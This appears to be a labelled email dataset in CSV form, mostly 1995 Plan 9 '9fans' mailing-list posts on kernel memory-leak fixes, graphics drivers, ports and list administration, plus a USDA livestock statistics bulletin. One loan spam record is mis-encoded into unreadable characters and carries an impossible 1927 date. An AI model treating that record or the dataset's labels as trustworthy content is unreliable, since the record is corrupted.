be better than their Persil advert anyway. ",0,0 �� ���� ,barry@zingg.weru.ksu.edu,"Fri, 07 Oct 1927 18:08:47 +0000",���� �ſ븸���� ���оȿ� �ص帳�ϴ� ũ��Ÿ��,����������  ����   BEST- LOAN             ���� ���� ����  ����           �������� ��������������           ���� ���� �� �� ��  ����     ���� ��������  ���� ����  ����      ������ ������ ������ ����������         ������ ������ ����������,1,1 """j.c.lin"" ",Multiple recipients of list ,"Wed, 01 Feb 1995 20:34:08 -0600",Re: Topic: Saltation Video,"Dear Ann, I saw a meesage from the wind-erosion discussion group regarding to your saltation video. I am very interesting in your video and would like to buy one copy for my teaching. Could you please give me a quotation. This video should be sent to Taiwan. Thanks. Jiun-Chuan from Department of Geography, National Taiwan University. ",0,0 born@dial.eunet.ch,9fans,"Thu, 02 Feb 1995 15:07:14 -0500",aux/vga 1024x768x1 ATI graphics board,"Hello, I set up a Plan 9 standalone system on a 486 PC from the 2nd release CD-ROM. In the directory /sys/src/cmd/aux/vga/pc/ati I found some information about using the ATI graphics board under Plan 9. As mentioned the board doesn't work (failed attempt to decrypt and set the proprietary ATI registers). Since the CD-ROM was released in January 1993 it could be possible that someone has modified aux/vga to support the ATI cards. I would like to use the features of my ATI mach32 board (68875 with 2MB) under Plan 9. If anyone should know something about aux/vga and ATI boards, please let me know it. Thanks |-------------------------------------------------|----------------------------| | Frederick L. Born | In this world, time is | | born@dial.eunet.ch | a local phenomenon. | |-------------------------------------------------|----------------------------| ",0,0 forsyth@plan9.cs.york.ac.uk,9fans@cs.psu.edu,"Fri, 03 Feb 1995 13:17:38 -0500",lost blocks in TCP/IP streams,"I have recently tracked down some troublesome kernel memory leaks, that turned out to be mainly in the TCP/IP subsystem. While doing so, I found several off-by-one allocation errors that might lead to kernel heap corruption and subsequent panics. I'm not sure how worthwhile it is sending the changes out if a new release is imminent, but the consequences of the various small errors are annoying enough that you might not like to wait even a month or so. Specifically, if you have a machine that receives or sends moderate to heavy TCP/IP traffic, chances are that your kernel will gradually/rapidly run out of kernel memory, since it fails to free stream Blocks at several key points. A busy but small machine (one of my 16 Mbyte PCs), has run out of memory in under two days. Very tedious! On the other hand, I run several other machines that haven't been troubled anything like so much; it depends on the nature of the traffic. Anyhow, if you are interested in receiving the changes, please let me know by email. If you have a >1.02 Gbyte SCSI disc, also let me know and I can supply changes to the port SCSI code to use extended read/write requests when necessary. Finally, here is an one line change to /sys/src/9/pc/main.c to stop reads of /dev/sysstat from mangling memory and eventually crashing the system (386/486 only). Insert the following line as the first executable statement of confinit(): conf.nmach = 1; Without it, conf.nmach is zero. ",0,0 broadley@turing.ucdavis.edu,plan9-fans,"Mon, 06 Feb 1995 12:04:24 -0500",Re: lost blocks in TCP/IP streams,"> > I have recently tracked down some troublesome kernel > memory leaks, that turned out to be mainly in the TCP/IP subsystem. > While doing so, I found several off-by-one allocation errors that > might lead to kernel heap corruption and subsequent panics. > > I'm not sure how worthwhile it is sending the changes out if a new release is > imminent, but the consequences of the various small errors are annoying enough The point of the code freeze is to fix bugs just like this, I encourage you to submit them to linux and/or whoever is in charge of the code. > that you might not like to wait even a month or so. Specifically, if > you have a machine that receives or sends moderate to heavy TCP/IP traffic, chances > are that your kernel will gradually/rapidly run out of kernel memory, since it > fails to free stream Blocks at several key points. A busy but small machine (one of my 16 Mbyte PCs), > has run out of memory in under two days. Very tedious! Sounds like a bad problem, if you bother to fix em definitely give them to the rest of the community. > On the other hand, I run several other machines that haven't been > troubled anything like so much; it depends on the nature of the traffic. > > Anyhow, if you are interested in receiving the changes, please let me know by > email. I personally am not, but I would think that linus wouldd. > If you have a >1.02 Gbyte SCSI disc, also let me know and I can supply > changes to the port SCSI code to use extended read/write requests when necessary. > > Finally, here is an one line change to /sys/src/9/pc/main.c to stop reads of /dev/sysstat > from mangling memory and eventually crashing the system (386/486 only). Insert the following > line as the first executable statement of confinit(): > conf.nmach = 1; > Without it, conf.nmach is zero. > > > -- Bill Broadley Broadley@math.ucdavis.edu UCD Math Sys-Admin Linux is great. http://ucdmath.ucdavis.edu/~broadley PGP-ok ",0,1 broadley@turing.ucdavis.edu,plan9-fans,"Mon, 06 Feb 1995 12:04:48 -0500",Re: lost blocks in TCP/IP streams,"ARGH Sorry I thought this was a linux list.... sorry. > > I have recently tracked down some troublesome kernel > memory leaks, that turned out to be mainly in the TCP/IP subsystem. > While doing so, I found several off-by-one allocation errors that > might lead to kernel heap corruption and subsequent panics. > > I'm not sure how worthwhile it is sending the changes out if a new release is > imminent, but the consequences of the various small errors are annoying enough > that you might not like to wait even a month or so. Specifically, if > you have a machine that receives or sends moderate to heavy TCP/IP traffic, chances > are that your kernel will gradually/rapidly run out of kernel memory, since it > fails to free stream Blocks at several key points. A busy but small machine (one of my 16 Mbyte PCs), > has run out of memory in under two days. Very tedious! > On the other hand, I run several other machines that haven't been > troubled anything like so much; it depends on the nature of the traffic. > > Anyhow, if you are interested in receiving the changes, please let me know by > email. > > If you have a >1.02 Gbyte SCSI disc, also let me know and I can supply > changes to the port SCSI code to use extended read/write requests when necessary. > > Finally, here is an one line change to /sys/src/9/pc/main.c to stop reads of /dev/sysstat > from mangling memory and eventually crashing the system (386/486 only). Insert the following > line as the first executable statement of confinit(): > conf.nmach = 1; > Without it, conf.nmach is zero. > > > -- Bill Broadley Broadley@math.ucdavis.edu UCD Math Sys-Admin Linux is great. http://ucdmath.ucdavis.edu/~broadley PGP-ok ",0,1 forsyth@plan9.cs.york.ac.uk,9fans@cs.psu.edu,"Mon, 06 Feb 1995 11:59:03 -0500",TCP/IP memory leaks,">>The point of the code freeze is to fix bugs just like this, I encourage you >>to submit them to linux and/or whoever is in charge of the code. i do not think that Linus, however keen, will make much use of diffs to Plan 9, unless i include a lot of context! ",0,0 broadley@turing.ucdavis.edu,plan9-fans,"Mon, 06 Feb 1995 13:22:26 -0500",Re: TCP/IP memory leaks,"> > >>The point of the code freeze is to fix bugs just like this, I encourage you > >>to submit them to linux and/or whoever is in charge of the code. > > i do not think that Linus, however keen, will make much use of diffs to Plan 9, > unless i include a lot of context! > > ROFL.... Glad you can see humor in my goof. -- Bill Broadley Broadley@math.ucdavis.edu UCD Math Sys-Admin Linux is great. http://ucdmath.ucdavis.edu/~broadley PGP-ok ",0,1 Jim Davis ,plan9-fans,"Thu, 19 Jan 1995 16:56:25 -0500",Brazil in Tucson.,"Our colloquium schedule lists Rob Pike as the speaker on Monday, January 23rd, and his topic as ""Brazil"". Point your web browsers at http://www.cs.arizona.edu/people/tics to see the abstract. The talk is scheduled to start at 10:00 am in room 701 of the Gould-Simpson building at the University of Arizona; if you're in travelling distance but aren't familiar with the campus then drop me a line. Be advised that parking is, um, that thing Mrs. Gingrich said to Connie Chung. Gee, everyone comes to speak in January, and not July... wonder why? :-) ",0,1 Jim Davis ,plan9-fans,"Tue, 07 Feb 1995 15:39:18 -0500",Re: Brazil in Tucson.,"On Thu, 19 Jan 1995, Jim Davis wrote: > Our colloquium schedule lists Rob Pike as the speaker on Monday, January > 23rd, and his topic as ""Brazil"". Weird. I sent this on the January 19th, and it doesn't show up until now? ",0,0 Joe Ammond ,9fans,"Tue, 07 Feb 1995 17:56:23 -0500",u9fs on HP/UX?,"I've been beating my head on this for a while, but without much success. Has anyone gotten u9fs to compile on an HP700 machine? The server responds to the nop, but then errors out (from the log file): u9fs kill 14404 >> Tnop << Rnop u9fs: bad convM2S type unix error: Error 0 Thanks in advance, ja. -- Joe Ammond, Geek ammond@ee.gatech.edu",0,0 Alberto Nava ,9fans,"Wed, 08 Feb 1995 13:42:36 -0500",JPEG decoder help,"Hi, I ported a JPEG decoder to plan9. It produces a dump pic file, with 3 channels. It works well with B/W screens, at least on ELCs. However, I'm having some problems to display these files on color screens. They look with a lot of red and green. To display them I did: $ djpeg -pic file.jpg | fb/drop # which looks awful $ djpeg -pic file.jpg | fb/dither | fb/drop # which looks a little better $ djpeg -pic file.jpg | fb/quantize | fb/drop # which looks awful too It's interesting to note that fb/dither does a better job that quantize even though the manual says the contrary. Well, here are some questions: 1) Does plan9 graphics system do something with 24-bit pic files? 2) what does it do? 3) Does fb/gif2pic work in any site, specially plan9.att? It does not work in our site. It produces something similar to my pic files. 4) Is there a way to fix the pic files generated by gif2pic? Any comment would be appreciated, Thanks P.D. If anyone wants this software, in spite of what I say before, feel free to mail me. ",0,0 David Hogan ,plan9-fans,"Wed, 08 Feb 1995 00:17:52 -0500",Re: Brazil in Tucson.,">From: Jim Davis >> Our colloquium schedule lists Rob Pike as the speaker on Monday, January >> 23rd, and his topic as ""Brazil"". >Weird. I sent this on the January 19th, and it doesn't show up until now? So, er, how was the talk? :-)",0,0 agc@uts.amdahl.com,plan9-fans,"Wed, 08 Feb 1995 13:55:00 -0500",Brazil,"I've got to ask the question: `Plan 9 from Bell Labs' - the name alluded to the film `Plan 9 from Outer Space', which generated a cult following, because, apart from being Bela Lugosi's last film, it was probably one of the worst ever made. The BBC showed it at one time, with all the errors/mistakes etc emphasised. I presume Brazil is named after Terry Gilliam's film - but I have to admit that I liked Brazil, despite its depressing story - there's so much `happenning' in the film, and what must be one of De Niro's most challenging roles - a freelance heating engineer. Have I goofed, failed to see irony, or what? Alistair -- Alistair G. Crooks (agc@uts.amdahl.com) +44 125 234 6377 Amdahl European HQ, Dogmersfield Park, Hartley Wintney, Hants RG27 8TE, UK. [These are only my opinions, and certainly not those of Amdahl Corporation] ",0,0 rob@plan9.research.att.com,9fans,"Wed, 08 Feb 1995 14:48:57 -0500",,"It's nice to be in a position where people apologize because they assume there's humor in your work, based on past experience, but they're not sure where it is. ",0,0 Hans van de Looy ,cse.psu.edu!plan9-fans@sequent.com,"Wed, 08 Feb 1995 15:44:02 -0500",Re: your mail,"sequent!plan9.research.att.com!rob wrote: ! ! It's nice to be in a position where people apologize because they ! assume there's humor in your work, based on past experience, ! but they're not sure where it is. Sorry Rob, but I could not resist! [ Asbestos Longjohns ON ] I personally hate it when people talk to you like this. You know like your OLD grandpa, telling you (his grandson) a ""lesson"", that you do not want to hear... But, then again, we could expect an arrogant question, but NO ANSWER, in return, could we not? [ Asbestos Longjohns OFF ] I would have appreciated an answer :-) -- Cheers, Hans. ",0,0 Scott Schwartz ,9fans,"Wed, 08 Feb 1995 19:21:37 -0500",9fans administrivia," Hi all, Our systems administrators have been working on the mailing list recently, in order to repair some problems resulting from a (mis)feature of majordomo. The effect is this, that the subscription address for the list is now solely 9fans-request@cse.psu.edu, plan9-fans-request will no longer be supported. Mail to plan9-fans@cse will be aliased to 9fans, for backwards compatability. Hopefully nothing has seriously broken in this process, but I am given to understand that a number of people who previously unsubscribed may find themselves back on the list. For this we apologise, and ask that effected parties resend the unsubscribe message to 9fans-request. I asked about the reappearing message from Arizona, but it remains mysterious, as does the actual content of the talk. :-) If there are any other problems please let me know. -- Scott ",0,0 forsyth@plan9.cs.york.ac.uk,9fans@cs.psu.edu,"Wed, 08 Feb 1995 17:01:11 -0500",educational philosophy applied to flames,"[discussing pre-Socratic philosophers] ``What there is in an educational setting of that kind is a cult of the non-explicit, and the basis of it is the assumption that we learn only from those who do not teach. That is, such advisers, or gurus, do not teach in the sense of systematically answering questions. When you answer a question, you consolidate the mental level on which the question is asked: the efforts of such spiritual advisers are rather to keep prodding the student into making more and more adequate questions, or, at any rate, less and less inadequate questions.'' Northrop Frye, Divisions on a Ground, pp. 126-7 (he goes on to observe that ``the teacher who refuses to answer a question has to have tremendous authority given him by his students if he is to get away with it''.) harrumph. back to technology: anyone written any interesting Plan 9 programs recently? ",0,0 Scott Schwartz ,Plan 9 Fans <9fans>,"Thu, 09 Feb 1995 02:31:48 -0500",9fans administrivia,"Hi all, Our systems administrators have been working on the mailing list recently, in order to repair some problems resulting from a (mis)feature of majordomo. The effect is this, that the subscription address for the list is now solely 9fans-request@cse.psu.edu, plan9-fans-request will no longer be supported. Mail to plan9-fans@cse will be aliased to 9fans, for backwards compatability. Hopefully nothing has seriously broken in this process, but I am given to understand that a number of people who previously unsubscribed may find themselves back on the list. For this we apologise, and ask that effected parties resend the unsubscribe message to 9fans-request. I asked about the reappearing message from Arizona, but it remains mysterious, as does the actual content of the talk. :-) If there are any other problems please let me know. -- Scott ",0,0 serge@euler.Berkeley.EDU,plan9-fans,"Thu, 09 Feb 1995 13:54:55 -0500",Re: Brazil in Tucson.,"The abstract in http://www.cs.arizona.edu/people/tics/#pike seems very interesting, albeit all too brief and tantalizing (would there per any chance be any more Brazil information available)? In particular, the following excerpt raises some intriguing questions: For example, the graphics model of the system has been completely replaced. Brazil uses a data-based model in which applications transmit graphical updates as rectangular blocks of pixels to be written directly to the screen or window, rather than the traditional description of how to draw the update. This unifies traditional user interfaces and video at the lowest levels of the system, which, coupled with the model of the file name space inherited from Plan 9, makes it possible to display video on the display under control of the window system but without the window system needing to touch the data: the application can drive the display directly. That is, how does this interact with the current trend for ever more intelligent graphics controllers, which, e.g. presumably have special instructions for drawing lines, polygons, etc.? Also, what does this due for the communication bandwidth? I.e., with the ``old'' model, to draw a line, you would send something like the following packet type = LINE 1 - 8 bytes start.x = XXX 1 - 8 bytes start.y = YYY 1 - 8 bytes end.x = XX2 1 - 8 bytes end.y = YY2 1 - 8 bytes for a total of (roughly) 5 to 40 bytes. On the other, hand, with the new model, the size appears to be unbounded, even for the same line, e.g. start.x = XXX 1 - 8 bytes start.y = YYY 1 - 8 bytes end.x = XX2 1 - 8 bytes end.y = YY2 1 - 8 bytes data[Y0][X0].pixel = RGB 1 - 8 bytes data[Y0][X1].pixel = RGB 1 - 8 bytes ... data[YN][XM].pixel = RGB 1 - 8 bytes Does this also mean, that, e.g. a line from (0, 0) to (1024,1024) would require an entire rectangle of data to be sent? (Or just individual dots, which would be nearly as expensive, since you would have to transmit the coordinates of each?) Finally, how does one deal with device (e.g. black and white versus gray scale versus pseudo color versus true color) independence, if the data is sent directly to the display? Thank you very much. ",0,1 choy@cs.ust.hk,9fans,"Sat, 11 Feb 1995 11:18:52 -0500",request for plan 9," Hi, I am trying to install a version Plan 9 for educational and research purposes at my school. Could someone point me to the place/person from whom I can get a license and the software? Thanks you very much. Manhoi Choy Assistant Professor Department of Computer Science Hong Kong University of Science and Technology Clear Water Bay Hong Kong ",0,0 rob@plan9.research.att.com,9fans,"Sat, 11 Feb 1995 11:30:43 -0500",Re: request for plan 9,"We've stopped sending out the old release. When the new one is available we'll announce the details here. ",0,0 rob@plan9.research.att.com,9fans,"Sat, 11 Feb 1995 17:41:03 -0500",,"Here's a thrilling chance to gain fame by contributing useful stuff to the new release. If you have a file for /adm/timezone that is not one of GMT or American EST, CST, or PST, send it to us and we might include it. -rob ",0,0 forsyth@plan9.cs.york.ac.uk,9fans@cs.psu.edu,"Fri, 24 Feb 1995 16:47:36 -0500",version of the system for 68030 cards,"a student here, Dave Stringer-Calvert, attempted to port the system to a Sun-3/80. he got most of the way through, but foundered on a lack of information from Sun about the way the Lance and DVMA interacted. i've now revised and completed the work to make a port of the Plan 9 cpu/terminal kernel to a 68030 VME system, the Eltec Eurocom 6. we inherited quite a few of those cards, and we've now got some student projects using them under Plan 9. if anyone else has some Eltec 6 cards and is interested, let me know. the only bit still causing trouble is the wd33c93a scsi interface, where there seems to be some Eltec-specific subtlety. sometimes it works, but often it doesn't. (i currently think they botched the interaction between DBA and single-byte mode.) the system runs happily over the net from our file server, using the local bus Lance card. i have a replacement boot PROM for the card that will boot a kernel using BOOTP and TFTP. i've also got reasonable drivers for the 8536 CIO that controls the parallel ports, and for a VIP-1024 VME frame grabber, which were needed for a project. the frame grabber provides both a file interface in '#v' and a segattach interface (doing the latter was fiddly, but i don't think it's my fault -- the mapping interface looks incomplete). i haven't done a 68k Alef port yet, but i'm thinking about it, because i'm fed up with not having it! i intend to port any new release of Plan 9 to the Eltec environment. ",0,0 Greg Earle ,9fans,"Sat, 25 Feb 1995 13:59:25 -0500",Re: version of the system for 68030 cards,"> A student here, Dave Stringer-Calvert, attempted to port the system to a > Sun-3/80. > > He got most of the way through, but foundered on a lack of information from > Sun about the way the Lance and DVMA interacted. It is a well-known fact (well known to Rob, anyway (-: ) that Sun, the so-called ""Open Systems"" company, is about as open as my anal orifice when it comes to details about their hardware. I mean, the nerve of some people, trying to run a different O/S on the hardware they bought! The funny thing is that the PC, from that most noted of ""Open Systems"" companies IBM, ended up becoming the most open platform there is. (I'm allowed to say this, I worked for Sun for almost 5 years (-: ) Anyway, you might try pointing your student to the NetBSD/Sun-3 port, since it contains /usr/src/sys/arch/sun3/dev/if_le.c /usr/src/sys/arch/sun3/dev/if_le.h /usr/src/sys/arch/sun3/dev/if_lereg.h /usr/src/sys/arch/sun3/dev/if_le_subr.c /usr/src/sys/arch/sun3/dev/if_le_subr.h Tell him to go grovelling around on ftp.NetBSD.ORG and eventually he will stumble across these ... - Greg ",0,0 Jim Horsfield ,usdamail@oldal.mannlib.cornell.edu,"Mon, 27 Feb 1995 20:28:20 -0500","Livestock, Dairy, & Poultry Update 1/23/95 (LDP-M-13)"," Wholesale to retail 98.4 105.7 108.4 99.5 Farmers share (%) 32.0 26.0 23.0 27.0 Poultry and eggs Retail to consumer Broilers 31.0 25.7 31.1 NA Turkey 20.4 25.5 13.9 NA Eggs 13.2 17.0 14.2 NA MEAT STATISTICS Jan. - Jan. - Jan-93 Jan-94 Nov-94 Dec-94 /* Jan-95 /* Commercial production Million pounds Beef 22,942 24,282 1,978 2,021 2,028 Veal 267 283 25 26 25 Pork 17,030 17,662 1,639 1,642 1,504 Lamb 329 304 24 26 23 Total red meat 40,568 42,531 3,666 3,715 3,580 Broilers 22,178 23,858 1,978 2,000 2,010 Other chicken 513 504 39 40 41 Turkeys 4,848 4,979 453 385 380 Total poultry 27,539 29,342 2,470 2,425 2,431 Total meat & poultry 68,107 71,873 6,136 6,140 6,011 Commercial slaughter Thousand head Cattle 33,324 34,201 2,809 2,871 2,859 Steers 17,222 18,027 1,366 1,453 1,465 Heifers 9,358 9,593 801 788 801 Beef Cows 3,025 3,021 333 309 286 Dairy Cows 3,061 2,920 257 271 257 Bulls and stags 659 641 52 50 50 Calves 1,195 1,269 117 124 116 Sheep 5,182 4,937 406 426 386 Hogs 93,068 95,717 8,737 8,786 8,140 Barrows & gilts 88,387 90,749 8,274 8,313 7,732 Sows 3,796 4,036 387 391 335 Broilers 6,681,013 7,067,913 577,552 580,000 580,000 Turkeys 276,256 277,549 25,595 20,400 20,400 Jan-94 Oct-94 Nov-94 Dec-94 /* Jan-95 /* F.I. dressed weight Pounds Cattle 715 725 711 711 713 Calves 230 224 219 217 217 Sheep 64 60 61 61 60 Hogs 185 186 189 188 185 Beginning cold storage stocks Million pounds Beef 401.0 401.8 410.6 419.5 418.1 Pork 299.2 352.7 385.4 383.2 357.5 Bellies 53.2 18.3 22.7 40.7 61.6 Hams 32.8 108.7 99.9 63.9 34.0 Total chicken 365.6 435.9 444.6 451.7 472.5 Turkey 249.1 648.6 636.2 280.7 259.9 Frozen eggs 13.7 17.8 20.0 19.1 19.4 /* Estimates U.S. LIVESTOCK & MEAT IMPORTS & EXPORTS Oct-94 Nov-94 Jan - Jan - Nov-93 Nov-94 Beef & Veal Imports Carcass wt.,thousand lb. Australia 85,951 69,695 866,231 829,840 New Zealand 22,976 22,184 560,893 493,219 Canada 39,175 35,585 370,467 428,409 Brazil 3,721 1,615 97,241 121,975 Argentina 9,585 12,187 148,258 129,548 Central America 21,927 16,898 200,498 187,476 Other 2,164 2,674 28,685 27,381 Total 185,499 160,837 2,272,274 2,217,848 Beef & Veal Exports Japan 73,818 70,400 662,579 767,195 Canada 26,404 27,525 221,326 254,290 Mexico 20,580 20,433 110,663 201,445 Korea, Rep. 15,152 20,264 103,969 157,533 Caribbean 691 1,109 11,295 9,635 Other 8,328 10,470 55,758 71,348 Total 144,973 150,201 1,165,590 1,461,447 Cattle Imports Mexico 84,211 148,221 1,154,910 934,504 Canada 97,581 64,147 1,143,327 956,535 Over 700 lbs. 91,691 58,153 978,100 894,219 500-700 lbs. 2,466 1,838 92,339 12,653 Total 181,843 212,368 2,298,403 1,891,118 Cattle Exports Mexico 14,114 10,560 72,035 118,746 Canada 13,670 13,063 58,448 83,145 Total 27,852 24,075 138,847 209,574 Lamb Imports Australia 1,567 2,191 21,454 21,263 New Zealand 1,868 1,790 16,201 14,599 Total 3,441 3,982 37,662 35,872 Mutton Imports 456 548 11,306 10,241 ----------------------------------------------------------------- Customs Service Monitoring - Import 1/15/94 1/14/95 % Chg Meat Import Law 92,963 3,847 -95.9% Canada 20,509 2,251 -89.0% ----------------------------------------------------------------- Oct-94 Nov-94 Jan - Jan - Nov-93 Nov-94 Pork Imports Carcass wt., thousand lb. Canada 34,095 34,462 367,649 388,382 Denmark 16,363 15,629 209,683 229,490 Poland 664 1,148 12,250 10,134 Hungary 142 996 25,692 17,196 Netherlands 1,283 1,171 21,318 15,469 Other 1,890 2,506 35,056 29,079 Total 54,437 55,913 671,648 689,750 Pork Exports Japan 26,429 24,725 204,863 222,306 Canada 6,502 5,768 33,925 47,672 Mexico 15,606 15,562 78,790 133,798 Caribbean 1,074 1,599 8,055 7,193 Other 9,272 17,948 46,258 64,120 Total 58,884 65,602 371,892 475,089 Hog Imports Head Canada 86,726 82,225 757,007 818,854 Under 110 lb 37,575 40,418 260,818 361,860 Total 89,569 82,405 759,188 824,531 Hog Exports Total 19,203 28,166 39,394 101,687 Broiler Exports RTC, thousand lb. Japan 28,689 32,949 216,460 238,819 Mexico 16,960 22,353 168,713 200,801 Hong Kong 74,654 71,338 430,768 628,174 Singapore 5,055 5,723 51,453 59,448 Canada 6,711 7,151 79,122 71,439 Former USSR 112,429 88,481 161,218 710,146 Total 314,985 284,225 1,724,586 2,562,573 Turkey Exports Mexico 10,760 18,227 127,109 126,863 S. Korea 2,767 1,312 17,411 21,014 Hong Kong 815 651 6,499 6,178 Total 20,011 28,635 189,739 215,343 Shell thousand dz. Egg Exports 13,161 8,806 92,333 102,649 MILK & DAIRY PRODUCTS Dec-93 Oct-94 Nov-94 Dec-94 Milk production Production - 21 States, Mil. lb 10,461 10,707 10,383 10,826 Milk cow number - 21 States, Thou 8,054 8,010 8,000 7,991 Milk per cow - 21 States, Lb 1,299 1,337 1,298 1,355 Production - U.S., Mil. lb 12,427 12,769 12,383 12,911 Milk prices: Dol./cwt All milk 13.50 13.10 13.10 12.90 Milk for fluid use 13.60 13.10 13.10 13.00 Manuf. grade milk 12.50 12.30 12.00 11.60 Minn-Wisc (3.5% fat) 12.51 12.29 11.86 11.38 Wholesale prices: cents/lb Grade A butter 69.7 71.5 71.5 67.0 Amer. cheese, Wisc. assembly pt. 40-pound blocks 133.7 135.4 127.9 121.3 Barrels 128.8 129.7 Nonfat dry milk, C. States, 112.7 107.0 107.1 106.9 International prices: $/metric ton Butter 1,238 1,530 1,481 1,462 Nonfat dry milk 1,388 1,886 1,870 1,800 Beginning stocks: Mil. lb Commercial butter 17.1 18.4 11.0 9.7 Commercial American cheese 360.2 310.2 312.2 311.3 Other cheese 98.8 141.7 135.2 124.4 Manufacturers nonfat dry milk 55.3 97.7 93.0 89.1 All commercial (mf. basis) 4,579 4,611 4,374 4,215 All commercial (ss. basis) 5,332 5,890 5,745 5,540 All Government (mf. basis) 5,860 3,271 2,549 1,478 All Government (ss. basis) 185 469 483 391 Nov-93 Sep-94 Oct-94 Nov-94 Dairy product output: Mil. lb Butter 97.3 90.6 101.5 101.8 American cheese 225.7 245.2 243.1 240.1 Other-than-American cheese 314.4 318.7 330.8 320.9 Frozen products 1/, Mil. gal. 79.0 96.0 85.3 82.6 All products (mf basis 2/) 6,972 7,603 7,662 7,371 Nonfat dry milk 56.9 79.9 86.0 86.0 Commercial disappearance: Mil. l Butter 110.0 96.4 104.1 92.6 American cheese 234.2 261.5 238.4 240.8 Other-than-American cheese 350.3 351.0 365.0 364.3 Nonfat dry milk 13.3 79.2 63.0 57.5 All products (mf. basis) 12,384 12,830 12,849 12,395 USDA net removals: Mil. lb Butter -10.2 -3.2 0.9 10.9 Cheese 0.2 1.7 1.8 1.9 Nonfat dry milk 44.1 23.2 28.3 32.4 All products (mf basis 2/) -190.0 -21.0 68.0 282.0 All products (ss basis 2/) 535.0 315.0 373.0 417.0 Imports (mf basis 2/) 300 243 245 296 1/ Hard ice cream, ice milk, & sherbert 2/ Milk equivalent Annual Forecasts 1992 1993 1994 1995 Economic Indicators /1 Real GDP, Billions '87$ 4,986 5,135 5,336 5,486 CPI-U, Annual % Change 3.1 2.7 2.8 3.3 Unemployment rate, % 7.4 6.8 6.1 5.8 3-Month T Bill,% 3.4 3.0 4.3 5.9 10-Year Bond,% 7.0 5.9 7.1 7.9 Production, million lb. Beef 22,968 22,942 24,282 24,475 Pork 17,184 17,030 17,661 17,925 Broilers 21,052 22,178 23,858 25,400 Turkeys 4,829 4,848 4,979 5,290 Total Red Meat & Poultry 67,193 68,107 71,881 74,178 Eggs, mil doz. 5,885 5,960 6,153 6,240 Milk 151,648 150,954 154,178 158,168 Commercial use (mf basis) 142,081 145,350 150,787 153,750 Net removals (mf basis) 9,936 6,653 4,824 5,722 Per capita consumption, Retail Beef 66.5 65.1 67.6 67.9 Pork 53.1 52.3 53.1 53.8 Broilers 66.6 68.3 70.1 73.8 Turkeys 18.0 17.8 18.1 18.8 Total Red Meat & Poultry 208.4 207.6 212.5 218.0 Eggs, number 234.8 234.2 237.6 238.3 Market Prices Choice steers, Neb., $/cwt. 75.36 76.36 68.8375 65-70 Feeder steers,Ok City,$/cwt. 81.76 86.46 77.72 71-76 Brk Ut Cows,S. Falls,$/cwt. 44.84 47.52 42.805 38-41 Barrows & gilts,Ia/Mn.,$/cwt 43.03 46.10 40.0575 37-39 Broilers, 12 City, cents/lb. 52.60 55.18 55.7125 51-55 Turkeys, Eastern, cents/lb. 60.20 62.55 65.65 59-63 Eggs, New York, cents/doz. 65.40 72.53 67.25 64-68 Milk, all at plant, $/cwt. 13.09 12.83 13.0325 11.7-12.5 Milk, M-W, $/cwt. 11.88 11.80 12.005 10.7-11.5 U.S. Trade, million lb. Beef & veal exports 1,324 1,275 1,576 1,640 Beef & veal imports 2,440 2,401 2,387 2,485 Pork exports 407 435 525 495 Pork imports 645 740 744 730 Broiler exports 1,489 1,966 2,730 3,020 Turkey exports 171 212 229 260 /1 Macro economic forecasts: Survey of Professional Forecasters Philadelphia Federal Reserve, August 1994 Quarterly 1994/95 Forecasts QI'94 QII'94 QIII'94 QIV'94 Economic Indicators /1 Real GDP, Bil. '87$ 5,261 5,314 5,367 5,402 CPI-U, Ann. % Change 2.5 2.4 2.7 3.2 Unemployment rate, % 6.6 6.1 6.0 5.8 3-Month T Bill,% 3.3 4.0 4.5 5.2 10-Year Bond,% 6.1 7.1 7.3 7.9 Production, million lb. Beef 5,744 6,044 6,378 6,116 Pork 4,182 4,240 4,326 4,913 Broilers 5,674 5,983 6,160 6,041 Turkeys 1,091 1,254 1,337 1,297 Total Meat 16,974 17,802 18,469 18,636 Eggs, mil doz. 1,498 1,513 1,547 1,595 Milk (mf basis) 37,692 39,973 38,398 38,115 Commercial use 35,292 37,681 39,690 38,124 Net removals 2,360 1,855 (240) 849 Consumption, Retail lb Beef 16.4 17.0 17.5 16.7 Pork 12.5 12.9 13.2 14.5 Broilers 17.1 17.6 18.2 17.2 Turkeys 3.6 3.8 4.5 6.2 Total Meat 50.5 52.2 54.2 55.6 Eggs, number 58.3 58.2 59.5 61.6 Market Prices Ch. steers,Nebr. 73.10 68.79 66 68 Fdr steer,Ok Cty 82.14 77.63 76 75 Brk Cows,S. Falls 44.40 46.16 43 38 Bar/gilt, Ia/Mn. 45.80 42.90 41 31 Broiler,12 City 55.05 60.00 56 52 Turkeys, Eastern 60.10 63.10 67 73 Eggs, New York 71.50 63.30 67 67 Milk, all at plant 13.57 13.03 13 13 Milk, M-W 12.53 11.92 12 12 U.S. Trade, million lb. Beef/veal exports 359 391 416 410 Beef/veal imports 682 603 587 515 Pork exports 104 115 131 175 Pork imports 205 206 168 165 Broiler exports 571 698 694 767 Turkey exports 52 60 54 63 /1 Macro economic forecast source: Survey of Professional Forecasters, Philadelphia Federal Reserve, August 1994 QI'95 QII'95 QIII'95 QIV'95 Economic Indicators /1 Real GDP, Bil. '87$ 5,439 5,471 5,505 5,538 CPI-U, Ann. % Change 3.5 3.3 3.4 3.5 Unemployment rate, % 5.8 5.8 5.8 5.7 3-Month T Bill,% 5.7 6.0 6.0 5.9 10-Year Bond,% 8.1 8.0 7.9 7.7 Production, million lb. Beef 5,975 6,100 6,325 6,075 Pork 4,475 4,325 4,425 4,700 Broilers 6,150 6,350 6,500 6,400 Turkeys 1,200 1,315 1,395 1,380 Total Meat 18,074 18,371 18,911 18,822 Eggs, mil doz. 1,545 1,555 1,555 1,585 Milk (mf basis) 39,072 41,045 39,278 38,773 Commercial use 35,525 38,625 40,200 39,400 Net removals 3,255 1,797 25 645 Consumption, Retail lb Beef 17.0 17.1 17.4 16.4 Pork 13.4 13.1 13.3 14.0 Broilers 18.1 18.5 19.0 18.2 Turkeys 3.8 3.9 4.5 6.6 Total Meat 53.4 53.5 55.1 56.0 Eggs, number 59.6 59.1 59.0 60.6 Market Prices Ch. steers,Nebr. 66-68 66-70 63-69 65-71 Fdr steer,Ok Cty 72-74 70-76 72-78 71-77 Brk Cows,S. Falls 37-39 39-41 38-42 37-41 Bar/gilt, Ia/Mn. 35-37 37-39 38-42 36-40 Broiler,12 City 51-53 51-55 52-56 50-54 Turkeys, Eastern 57-59 57-61 60-64 63-69 Eggs, New York 66-68 59-63 63-69 66-72 Milk, all at plant 12.2-12.4 11.2-11.9 11.4-12.4 12.3-13.3 Milk, M-W 10.9-11.1 10.2-10.9 10.7-11.7 11.2-12.2 U.S. Trade, million lb. 